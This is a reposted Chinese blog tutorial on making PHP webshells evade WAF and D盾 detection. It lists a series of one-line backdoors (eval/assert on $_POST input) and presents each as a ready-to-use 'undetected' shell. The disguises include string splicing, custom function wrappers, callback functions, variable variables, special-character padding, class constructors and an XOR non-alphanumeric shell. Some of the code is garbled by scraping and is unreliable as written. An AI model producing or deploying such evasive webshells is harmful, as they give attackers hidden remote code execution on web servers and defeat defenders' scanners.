美文网首页
webshell多种方法免杀

webshell多种方法免杀

作者: 苍简 | 来源:发表于2021-01-11 10:28 被阅读0次

转载自公众号:开源聚合网络空间安全研究院

webshell这个东西对于web方向的还是极其重要的,getshell被杀了很难受,于是来研究一波自己的免杀马儿,毕竟别人没有自己的好用,而且分享出来分分钟被杀。

在本篇文章中将会介绍一些常用的木马免杀技巧

01

检测情况

WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马。

当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础

查杀软件我首先:D盾

『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计!限制了常见的入侵方法,让服务器更安全!

02

PHP一句话

这次主要是对php的一句话免杀实验

首先我们先看一下最常见的php一句话

1<?php eval(@$_POST['a']); ?>

解析一下:

其中 eval () 就是执行命令的函数,

$_POST[‘a’] 就是接收的数据的函数,a是传递的参数。

eval函数把接收的数据当作PHP代码来执行。

这便是一句话木马

我更加喜爱assert函数

1<?php assert(@$_POST['a']); ?>

原因:

php5和php7是有差异的

php5中assert是一个函数,我们可以通过f='assert';f(...);这样的方法来动态执行任意代码。

php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。

相同点:二者都可以执行PHP语句。只不过是,eval规范更加严格一些,必须符合PHP代码要求。而assert则没有那么严格,执行PHP表达式即可。

简单点说就是:

eval() 是一个语言构造器而不是一个函数,不能被 可变函数 调用

assert() 可以被可变函数调用,例如诸多的回调函数,这样就方便了许多

1<?php
2func =_GET["func"];
3assert("$func()");
4?>
5# 这也是一个一句话,>

03

assert函数

assert是一个断言函数,当assert进行判断时,如果为false,则会发出Warning的提醒,但是依然会继续向下执行。对于调试很好,尤其是可以使用回调函数的时候,如果对用户输入的数据过滤不严谨的话,assert的危害比eval还要大。

便需要结合不同编程语言要有不同的应对方式,我用php做实例,总的思路就是:要刨除代码和函数的关系

大体有以下几个思路:

字符串变换(拼接、编码、等等。。。)

函数特性

类特性

混合免杀

奇思妙想

04

字符串变换

单纯的字符串变化还是有可疑,我们还需要配合其他

1<?php
2a = substr_replace("xxser","asser",-3); 3aa = array('',a); 4b = aa[1].chr('116'); 5fun=preg_replace("/xx/","",b); 6cc = substr_replace("",fun,0); 7 8cc($_POST['x']);
9?>

05

函数特性

函数特性里面我知道的有:

自定义函数绕过

变形回调

数组

可变变量

1、自定义函数绕过

纯自定义函数还是可以绕过的

下面是送大家的免杀马,估计过几天就废了

1<?php
2
3function zeo(b){ 4 returnb;
5}
6function ass(a){ 7 return eval(a);
8}
9function post(){
10 return $_POST['x'];
11}
12
13function run(){
14 return zeo(ass)(zeo(post)());
15}
16
17zeo(ass)(zeo(post)());
18
19?>

2、回调函数+组合绕过

这个现在有点费劲了,找了下面这些

大部分都已经被拉黑了。。。单独用都得死

1call_user_func_array()
2call_user_func()
3array_filter()
4array_walk()
5array_map()
6array_reduce()
7array_walk()
8array_walk_recursive()
9filter_var()
10filter_var_array()
11uasort()
12uksort()
13registregister_shutdown_function()
14register_tick_function()
15forward_static_call_array(assert,array($_POST[x]));

所以只能稍微配合上面的内容,奉献下面的免杀马

这个那就是定义个函数加个简单的拼接

1<?php
2function zeo(c,d){
3 pj()(c,d);
4}
5function pj(){
6 return "register_shut"."down_function";
7}
8
9b=_POST['x'];
10zeo(assert,$b);
11?>

3、数组绕过

4、二维数组

考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的

下面也是老样子,免杀马送上

1<?php
2b = substr_replace("assexx","rt",4); 3a = array(arrayName = (arrayName =(arrayName = array('a' =>b($_POST['x'])))));
4?>

5、可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

例如

1a = 'hello'; 2$$a = 'world'; 3echohello;
4# 输出就是world

在上面这段代码中,第一行是一个普通的变量定义,变量名称为a,变量值为hello。

第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world。

将这个变量输出之后的结果是:world。

1<?php
2zeo='dalao'; 3$$zeo=_POST['x'];
4eval($dalao);
5?>

image-20200407220547482

不行了,这个已经有点问题了,那么只能把eval函数在再处理一下,要结合下面的特殊字符干扰

06

特殊字符干扰

要求是能干扰到杀软的正则判断,还要代码能执行。

这个可以自己fuzz

大概就是说各种回车、换行、null和空白字符

我这里试了一下成功了,配合上面的可变变量

下面送上免杀马一个:

1<?php
2zeo='dalao'; 3$$zeo=_POST['x'];
4eval(``.$dalao);
5?>

07

使用类绕过

类现在发现好多人在用,这个好像D盾检测的最轻,用类自然就少不了魔法函数

简单构造一个类的免杀马

1<?php
2class zeo2
3{
4 public b =''; 5 6 function post(){ 7 return_POST['x'];
8 }
9}
10class zeo extends zeo2
11{
12 public code=null; 13 function __construct(){ 14code=parent::post();
15 assert(code); 16 } 17} 18blll = new zeo;
19$bzzz = new zeo2;
20?>

08

还有一种无字母的马

主要思路就是:

没有字母,简单来说就是字母被替代了

就是用各种运算,例如异或,拼装出来想要的函数

最后能构造出a-z中任意一个字符。

然后再利用PHP允许动态函数执行的特点,

拼接处一个函数名,如“assert”,然后动态执行之即可。

参考P牛的,这个讲的已经很清楚,想了解的可以看看

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

我送上一道之前做的题,异曲同工,很有意思。

1<?php
2@_++; 3__ = ("" ^ "?") . (":" ^ "}") . ("%" ^ "") . ("{" ^ "/");
4___ = ("" ^ "{") . ("~" ^ ".") . ("/" ^ "") . ("-" ^ "~") . ("(" ^ "|"); 5('%05'^'')
6# “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
7{_}[!_]({___}[]);
8?>

总结

感觉下来一句话的免杀还是比较简单的,单一的方法不太好多,但是组合几个方法还是很方便的。

个人感觉PHP免杀的要点就在于PHP允许动态函数执行的特点,提供很多的思路。

后续就是研究流量的免杀和菜刀的免杀了。

转载自:https://mp.weixin.qq.com/s/4lqatQaNDfWSV65Nd2-0Zg

相关文章

  • webshell多种方法免杀

    转载自公众号:开源聚合网络空间安全研究院 webshell这个东西对于web方向的还是极其重要的,getshell...

  • Webshell免杀

    前言 最近在研究php免杀绕过安全狗、D盾等WAF防护软件。也算是小有成绩。故记录下来。 一句话木马 在渗透测试中...

  • 无限免杀D盾脚本之aspx ——yzddMr6

    前言 自己曾经写过一篇文章:利用随机异或无限免杀某盾 php的webshell免杀方法有很多,但是市面上很少有讲a...

  • 木马免杀之特征码跳转免杀360|黑客技术流

    木马免杀的方法有很多种,最为基础的木马免杀方法就是修改特征码来免杀,今天就来谈一谈特征码跳转法,其实这个方法原理也...

  • webshelle免杀套路

    转载自:https://nosec.org/home/detail/2574.html webshell免杀套路 ...

  • webshell以及免杀方式

    Webshell简介 Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,...

  • 初识webshell及免杀基础

    初识Webshell: 上传Webshell的目的: 1.权限维持,方便下次连接控制系统2.权限提升,利用某些漏洞...

  • Jsp Webshell 免杀-命令执行

    前言 php的一句话木马即可以直接命令执行又可以作为冰蝎、蚁剑的客户端,而java就显得比较复杂。在经过java基...

  • [PHP] Webshell简单的免杀思路

    接到一个简单的需求, 客户自己的扫描工具把我们的代码,误认为是webshell。经过简单排查, 确认了误报 原因,...

  • Jsp Webshell 免杀-类加载器

    前言 在经过java类加载器的学习,我们对webshell的免杀处理就可以更进一步。 自定义类加载器-命令执行 对...

网友评论

      本文标题:webshell多种方法免杀

      本文链接:https://www.haomeiwen.com/subject/emgraktx.html